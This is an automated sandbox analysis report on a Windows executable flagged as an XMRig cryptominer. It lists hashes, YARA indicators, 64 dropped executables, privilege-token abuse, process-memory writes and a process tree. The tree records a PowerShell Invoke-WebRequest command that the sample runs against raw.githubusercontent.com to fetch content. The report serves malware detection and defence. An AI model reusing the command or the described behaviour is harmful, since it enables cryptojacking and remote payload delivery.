xmrig | 58e736afc6b76a289bfb530edfea5795ee9994a980e1cc540261f71404ccb63c

Analysis

max time kernel
93s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
03/06/2024, 11:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
Size 2.0MB
Sample240603-n44b4seh72
SHA256 58e736afc6b76a289bfb530edfea5795ee9994a980e1cc540261f71404ccb63c
MD5 91b43c4c7cf6abdfefebfd74679fcfcf
SHA1 807024528e9409b602f7be8119d4b78a11475f8a
SHA512 474d7d2915f86c00bba10947e93d27451e79f7019c2c32685c2ab4f5aa0438e2965d664407ac002963459acac94696cb00315bb8d6c46b251081f163fcf4a26c
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMA:NABI
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 48 IoCs

miner

resource	yara_rule
behavioral2/memory/1540-369-0x00007FF7B8930000-0x00007FF7B8D22000-memory.dmp	xmrig
behavioral2/memory/5108-457-0x00007FF6EDE70000-0x00007FF6EE262000-memory.dmp	xmrig
behavioral2/memory/4716-506-0x00007FF7B04D0000-0x00007FF7B08C2000-memory.dmp	xmrig
behavioral2/memory/808-544-0x00007FF61F590000-0x00007FF61F982000-memory.dmp	xmrig
behavioral2/memory/872-548-0x00007FF7EDA50000-0x00007FF7EDE42000-memory.dmp	xmrig
behavioral2/memory/2988-552-0x00007FF668660000-0x00007FF668A52000-memory.dmp	xmrig
behavioral2/memory/1752-551-0x00007FF7CA610000-0x00007FF7CAA02000-memory.dmp	xmrig
behavioral2/memory/3340-550-0x00007FF641750000-0x00007FF641B42000-memory.dmp	xmrig
behavioral2/memory/1264-549-0x00007FF7C69B0000-0x00007FF7C6DA2000-memory.dmp	xmrig
behavioral2/memory/1428-547-0x00007FF69CED0000-0x00007FF69D2C2000-memory.dmp	xmrig
behavioral2/memory/4556-546-0x00007FF759710000-0x00007FF759B02000-memory.dmp	xmrig
behavioral2/memory/732-545-0x00007FF71C530000-0x00007FF71C922000-memory.dmp	xmrig
behavioral2/memory/972-458-0x00007FF625970000-0x00007FF625D62000-memory.dmp	xmrig
behavioral2/memory/1584-401-0x00007FF7D2B20000-0x00007FF7D2F12000-memory.dmp	xmrig
behavioral2/memory/2876-398-0x00007FF7C4150000-0x00007FF7C4542000-memory.dmp	xmrig
behavioral2/memory/2724-366-0x00007FF7E5EE0000-0x00007FF7E62D2000-memory.dmp	xmrig
behavioral2/memory/2164-343-0x00007FF79C4A0000-0x00007FF79C892000-memory.dmp	xmrig
behavioral2/memory/4280-293-0x00007FF657E30000-0x00007FF658222000-memory.dmp	xmrig
behavioral2/memory/656-290-0x00007FF7F54B0000-0x00007FF7F58A2000-memory.dmp	xmrig
behavioral2/memory/5084-268-0x00007FF7BDF30000-0x00007FF7BE322000-memory.dmp	xmrig
behavioral2/memory/4328-250-0x00007FF749280000-0x00007FF749672000-memory.dmp	xmrig
behavioral2/memory/3312-203-0x00007FF60C530000-0x00007FF60C922000-memory.dmp	xmrig
behavioral2/memory/2996-151-0x00007FF650C80000-0x00007FF651072000-memory.dmp	xmrig
behavioral2/memory/1624-3015-0x00007FF7D0A70000-0x00007FF7D0E62000-memory.dmp	xmrig
behavioral2/memory/1624-3018-0x00007FF7D0A70000-0x00007FF7D0E62000-memory.dmp	xmrig
behavioral2/memory/2996-3019-0x00007FF650C80000-0x00007FF651072000-memory.dmp	xmrig
behavioral2/memory/3312-3021-0x00007FF60C530000-0x00007FF60C922000-memory.dmp	xmrig
behavioral2/memory/3340-3023-0x00007FF641750000-0x00007FF641B42000-memory.dmp	xmrig
behavioral2/memory/1752-3025-0x00007FF7CA610000-0x00007FF7CAA02000-memory.dmp	xmrig
behavioral2/memory/4328-3027-0x00007FF749280000-0x00007FF749672000-memory.dmp	xmrig
behavioral2/memory/656-3029-0x00007FF7F54B0000-0x00007FF7F58A2000-memory.dmp	xmrig
behavioral2/memory/1428-3031-0x00007FF69CED0000-0x00007FF69D2C2000-memory.dmp	xmrig
behavioral2/memory/5084-3033-0x00007FF7BDF30000-0x00007FF7BE322000-memory.dmp	xmrig
behavioral2/memory/1540-3035-0x00007FF7B8930000-0x00007FF7B8D22000-memory.dmp	xmrig
behavioral2/memory/2164-3037-0x00007FF79C4A0000-0x00007FF79C892000-memory.dmp	xmrig
behavioral2/memory/1584-3041-0x00007FF7D2B20000-0x00007FF7D2F12000-memory.dmp	xmrig
behavioral2/memory/4280-3045-0x00007FF657E30000-0x00007FF658222000-memory.dmp	xmrig
behavioral2/memory/2724-3047-0x00007FF7E5EE0000-0x00007FF7E62D2000-memory.dmp	xmrig
behavioral2/memory/872-3043-0x00007FF7EDA50000-0x00007FF7EDE42000-memory.dmp	xmrig
behavioral2/memory/2876-3040-0x00007FF7C4150000-0x00007FF7C4542000-memory.dmp	xmrig
behavioral2/memory/5108-3053-0x00007FF6EDE70000-0x00007FF6EE262000-memory.dmp	xmrig
behavioral2/memory/972-3051-0x00007FF625970000-0x00007FF625D62000-memory.dmp	xmrig
behavioral2/memory/732-3055-0x00007FF71C530000-0x00007FF71C922000-memory.dmp	xmrig
behavioral2/memory/1264-3057-0x00007FF7C69B0000-0x00007FF7C6DA2000-memory.dmp	xmrig
behavioral2/memory/4716-3059-0x00007FF7B04D0000-0x00007FF7B08C2000-memory.dmp	xmrig
behavioral2/memory/808-3061-0x00007FF61F590000-0x00007FF61F982000-memory.dmp	xmrig
behavioral2/memory/2988-3067-0x00007FF668660000-0x00007FF668A52000-memory.dmp	xmrig
behavioral2/memory/4556-3071-0x00007FF759710000-0x00007FF759B02000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
10	868	powershell.exe
12	868	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
868	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1624	HeTeJQL.exe
2996	NJCRRaK.exe
3340	SIOaPHX.exe
1752	PQVEICU.exe
3312	jHxwdgi.exe
4328	GLBnqfA.exe
5084	gMLuhft.exe
656	fZSeIxj.exe
4280	lzdDsqz.exe
2164	sbMiTWg.exe
2724	olZxGga.exe
1540	iocPOTq.exe
2876	DykmyQs.exe
1584	MaNOMbO.exe
5108	chDtYvy.exe
2988	kATabOM.exe
972	CsQzCWL.exe
1264	QxpaPQD.exe
4716	lAQZCyn.exe
808	fjtrfig.exe
732	eIlZXbW.exe
4556	mqwPaDx.exe
1428	CKfyctO.exe
872	VSULAFg.exe
1512	MYQIjkn.exe
3212	wvXEekr.exe
4404	avpYGnV.exe
2328	dGOMkcX.exe
3880	MSyzDMl.exe
2668	IKbXSfI.exe
4560	sTeltDx.exe
3100	zNHYEFX.exe
2548	gKtwDXN.exe
2748	jEJUjHn.exe
336	NwGlldj.exe
4480	JPVGfvc.exe
1108	oofnLdr.exe
2128	IjOajmv.exe
3536	HZEaHWv.exe
1128	EfmdTKf.exe
452	ncKbXIS.exe
1056	AhZeQfx.exe
2948	TSJCccf.exe
4512	EsyYClC.exe
2456	UtxZAqf.exe
1480	SjwOpgp.exe
4188	lFGBwOC.exe
4972	EGhmBvr.exe
1000	GjcmXyR.exe
1904	xyyNWuz.exe
3516	tRfWMuF.exe
64	jjeutUZ.exe
4772	IZlXQPu.exe
3856	OnPJCIF.exe
1984	eaaEtdQ.exe
2728	FGBIWSb.exe
3184	vuhPypv.exe
1776	gvsUhEE.exe
2972	dqYTRRZ.exe
4592	VLTXOlO.exe
1420	jAdqleN.exe
4352	ONDgKND.exe
4412	IxjmbBH.exe
3644	ncdlssM.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3236-0-0x00007FF72C2A0000-0x00007FF72C692000-memory.dmp	upx
behavioral2/files/0x000800000002342c-5.dat	upx
behavioral2/files/0x0007000000023431-25.dat	upx
behavioral2/files/0x0007000000023436-52.dat	upx
behavioral2/files/0x000700000002343e-85.dat	upx
behavioral2/files/0x000700000002344d-162.dat	upx
behavioral2/memory/1540-369-0x00007FF7B8930000-0x00007FF7B8D22000-memory.dmp	upx
behavioral2/memory/5108-457-0x00007FF6EDE70000-0x00007FF6EE262000-memory.dmp	upx
behavioral2/memory/4716-506-0x00007FF7B04D0000-0x00007FF7B08C2000-memory.dmp	upx
behavioral2/memory/808-544-0x00007FF61F590000-0x00007FF61F982000-memory.dmp	upx
behavioral2/memory/872-548-0x00007FF7EDA50000-0x00007FF7EDE42000-memory.dmp	upx
behavioral2/memory/2988-552-0x00007FF668660000-0x00007FF668A52000-memory.dmp	upx
behavioral2/memory/1752-551-0x00007FF7CA610000-0x00007FF7CAA02000-memory.dmp	upx
behavioral2/memory/3340-550-0x00007FF641750000-0x00007FF641B42000-memory.dmp	upx
behavioral2/memory/1264-549-0x00007FF7C69B0000-0x00007FF7C6DA2000-memory.dmp	upx
behavioral2/memory/1428-547-0x00007FF69CED0000-0x00007FF69D2C2000-memory.dmp	upx
behavioral2/memory/4556-546-0x00007FF759710000-0x00007FF759B02000-memory.dmp	upx
behavioral2/memory/732-545-0x00007FF71C530000-0x00007FF71C922000-memory.dmp	upx
behavioral2/memory/972-458-0x00007FF625970000-0x00007FF625D62000-memory.dmp	upx
behavioral2/memory/1584-401-0x00007FF7D2B20000-0x00007FF7D2F12000-memory.dmp	upx
behavioral2/memory/2876-398-0x00007FF7C4150000-0x00007FF7C4542000-memory.dmp	upx
behavioral2/memory/2724-366-0x00007FF7E5EE0000-0x00007FF7E62D2000-memory.dmp	upx
behavioral2/memory/2164-343-0x00007FF79C4A0000-0x00007FF79C892000-memory.dmp	upx
behavioral2/memory/4280-293-0x00007FF657E30000-0x00007FF658222000-memory.dmp	upx
behavioral2/memory/656-290-0x00007FF7F54B0000-0x00007FF7F58A2000-memory.dmp	upx
behavioral2/memory/5084-268-0x00007FF7BDF30000-0x00007FF7BE322000-memory.dmp	upx
behavioral2/memory/4328-250-0x00007FF749280000-0x00007FF749672000-memory.dmp	upx
behavioral2/memory/3312-203-0x00007FF60C530000-0x00007FF60C922000-memory.dmp	upx
behavioral2/files/0x0008000000023449-197.dat	upx
behavioral2/files/0x000700000002344c-195.dat	upx
behavioral2/files/0x000800000002344a-192.dat	upx
behavioral2/files/0x0007000000023452-191.dat	upx
behavioral2/files/0x0007000000023441-185.dat	upx
behavioral2/files/0x0007000000023445-182.dat	upx
behavioral2/files/0x0007000000023451-180.dat	upx
behavioral2/files/0x0007000000023450-171.dat	upx
behavioral2/files/0x000700000002344f-166.dat	upx
behavioral2/files/0x000700000002344e-165.dat	upx
behavioral2/files/0x000700000002343f-164.dat	upx
behavioral2/memory/2996-151-0x00007FF650C80000-0x00007FF651072000-memory.dmp	upx
behavioral2/files/0x000700000002344b-147.dat	upx
behavioral2/files/0x0007000000023448-144.dat	upx
behavioral2/files/0x0007000000023447-143.dat	upx
behavioral2/files/0x0007000000023446-190.dat	upx
behavioral2/files/0x0007000000023439-186.dat	upx
behavioral2/files/0x0007000000023444-139.dat	upx
behavioral2/files/0x0007000000023440-170.dat	upx
behavioral2/files/0x000700000002343b-129.dat	upx
behavioral2/files/0x0007000000023443-154.dat	upx
behavioral2/files/0x0007000000023442-98.dat	upx
behavioral2/files/0x0007000000023433-97.dat	upx
behavioral2/files/0x0007000000023438-137.dat	upx
behavioral2/files/0x0007000000023437-133.dat	upx
behavioral2/files/0x0007000000023434-87.dat	upx
behavioral2/files/0x000700000002343a-123.dat	upx
behavioral2/files/0x0007000000023435-83.dat	upx
behavioral2/files/0x000700000002343d-80.dat	upx
behavioral2/files/0x000700000002343c-75.dat	upx
behavioral2/files/0x0007000000023432-84.dat	upx
behavioral2/files/0x000700000002342f-57.dat	upx
behavioral2/files/0x0007000000023430-47.dat	upx
behavioral2/files/0x000700000002342e-40.dat	upx
behavioral2/files/0x000700000002342d-19.dat	upx
behavioral2/memory/1624-14-0x00007FF7D0A70000-0x00007FF7D0E62000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
10	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\uTGQMhJ.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\NwGlldj.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\GLYjbZT.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\PZcUVQe.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\CTKqswN.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\yyPDMWn.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\UrQgBdP.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\BtulqTj.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\JzyCiQn.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\CGPhSFA.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\zFTKJLE.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\poryyoy.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\GPEwRpR.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\AYnuPFW.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\KEMgRpI.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\BbXNriq.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\SNTaOcg.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\CZGidYj.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\brHkMZL.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\HKGLUiZ.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\XqcMyEl.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\oHNzzIj.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\LUOZDBw.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\IbmwHYm.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\LUqvJZo.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\oPnSMcI.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\QvFeEco.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\CblKWWP.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\puhCNmC.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\pwZOKtL.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\SIOaPHX.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\fTLppQw.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\PGKpsYl.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\oeLJgfg.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\PYaXeTR.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\AhZeQfx.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\AUlYTkT.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\YsvdCen.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\dXBMWcE.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\CKfyctO.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\OhGZTgy.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\GnIdhpC.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\zfBEJsV.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\AMhGnGW.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\bBhdbEi.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\yVgKKQh.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\qGXxjJM.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\EpHYOtp.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\ZOkTowC.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\qsRxxsX.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\nclZbGB.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\PxYfNXt.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\LJrQJqS.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\BHsEUmv.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\BjagmVo.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\CWnNyXL.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\gyOtqwj.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\tAGAlnB.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\xxXuPAo.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\FEhinOU.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\TonJdhY.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\UTFpINR.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\wLAzKRQ.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
File created	C:\Windows\System\gwGOiyl.exe	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
868	powershell.exe
868	powershell.exe
868	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
Token: SeDebugPrivilege	868	powershell.exe
Token: SeLockMemoryPrivilege	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3236 wrote to memory of 868	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	81
PID 3236 wrote to memory of 868	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	81
PID 3236 wrote to memory of 1624	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	82
PID 3236 wrote to memory of 1624	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	82
PID 3236 wrote to memory of 2996	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	83
PID 3236 wrote to memory of 2996	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	83
PID 3236 wrote to memory of 3340	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	84
PID 3236 wrote to memory of 3340	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	84
PID 3236 wrote to memory of 4328	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	85
PID 3236 wrote to memory of 4328	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	85
PID 3236 wrote to memory of 1752	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	86
PID 3236 wrote to memory of 1752	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	86
PID 3236 wrote to memory of 3312	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	87
PID 3236 wrote to memory of 3312	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	87
PID 3236 wrote to memory of 2164	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	88
PID 3236 wrote to memory of 2164	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	88
PID 3236 wrote to memory of 5084	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	89
PID 3236 wrote to memory of 5084	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	89
PID 3236 wrote to memory of 656	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	90
PID 3236 wrote to memory of 656	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	90
PID 3236 wrote to memory of 4280	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	91
PID 3236 wrote to memory of 4280	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	91
PID 3236 wrote to memory of 2724	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	92
PID 3236 wrote to memory of 2724	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	92
PID 3236 wrote to memory of 1584	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	93
PID 3236 wrote to memory of 1584	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	93
PID 3236 wrote to memory of 5108	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	94
PID 3236 wrote to memory of 5108	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	94
PID 3236 wrote to memory of 972	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	95
PID 3236 wrote to memory of 972	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	95
PID 3236 wrote to memory of 1540	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	96
PID 3236 wrote to memory of 1540	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	96
PID 3236 wrote to memory of 2876	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	97
PID 3236 wrote to memory of 2876	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	97
PID 3236 wrote to memory of 2988	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	98
PID 3236 wrote to memory of 2988	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	98
PID 3236 wrote to memory of 1264	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	99
PID 3236 wrote to memory of 1264	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	99
PID 3236 wrote to memory of 4716	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	100
PID 3236 wrote to memory of 4716	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	100
PID 3236 wrote to memory of 808	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	101
PID 3236 wrote to memory of 808	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	101
PID 3236 wrote to memory of 732	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	102
PID 3236 wrote to memory of 732	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	102
PID 3236 wrote to memory of 4556	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	103
PID 3236 wrote to memory of 4556	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	103
PID 3236 wrote to memory of 1428	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	104
PID 3236 wrote to memory of 1428	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	104
PID 3236 wrote to memory of 872	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	105
PID 3236 wrote to memory of 872	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	105
PID 3236 wrote to memory of 1512	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	106
PID 3236 wrote to memory of 1512	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	106
PID 3236 wrote to memory of 336	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	107
PID 3236 wrote to memory of 336	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	107
PID 3236 wrote to memory of 3212	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	108
PID 3236 wrote to memory of 3212	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	108
PID 3236 wrote to memory of 4404	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	109
PID 3236 wrote to memory of 4404	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	109
PID 3236 wrote to memory of 2328	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	110
PID 3236 wrote to memory of 2328	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	110
PID 3236 wrote to memory of 3880	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	111
PID 3236 wrote to memory of 3880	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	111
PID 3236 wrote to memory of 2128	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	112
PID 3236 wrote to memory of 2128	3236	91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe	112

C:\Users\Admin\AppData\Local\Temp\91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\91b43c4c7cf6abdfefebfd74679fcfcf_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:868
- C:\Windows\System\HeTeJQL.exe
  C:\Windows\System\HeTeJQL.exe
  2⤵
  - Executes dropped EXE
  PID:1624
- C:\Windows\System\NJCRRaK.exe
  C:\Windows\System\NJCRRaK.exe
  2⤵
  - Executes dropped EXE
  PID:2996
- C:\Windows\System\SIOaPHX.exe
  C:\Windows\System\SIOaPHX.exe
  2⤵
  - Executes dropped EXE
  PID:3340
- C:\Windows\System\GLBnqfA.exe
  C:\Windows\System\GLBnqfA.exe
  2⤵
  - Executes dropped EXE
  PID:4328
- C:\Windows\System\PQVEICU.exe
  C:\Windows\System\PQVEICU.exe
  2⤵
  - Executes dropped EXE
  PID:1752
- C:\Windows\System\jHxwdgi.exe
  C:\Windows\System\jHxwdgi.exe
  2⤵
  - Executes dropped EXE
  PID:3312
- C:\Windows\System\sbMiTWg.exe
  C:\Windows\System\sbMiTWg.exe
  2⤵
  - Executes dropped EXE
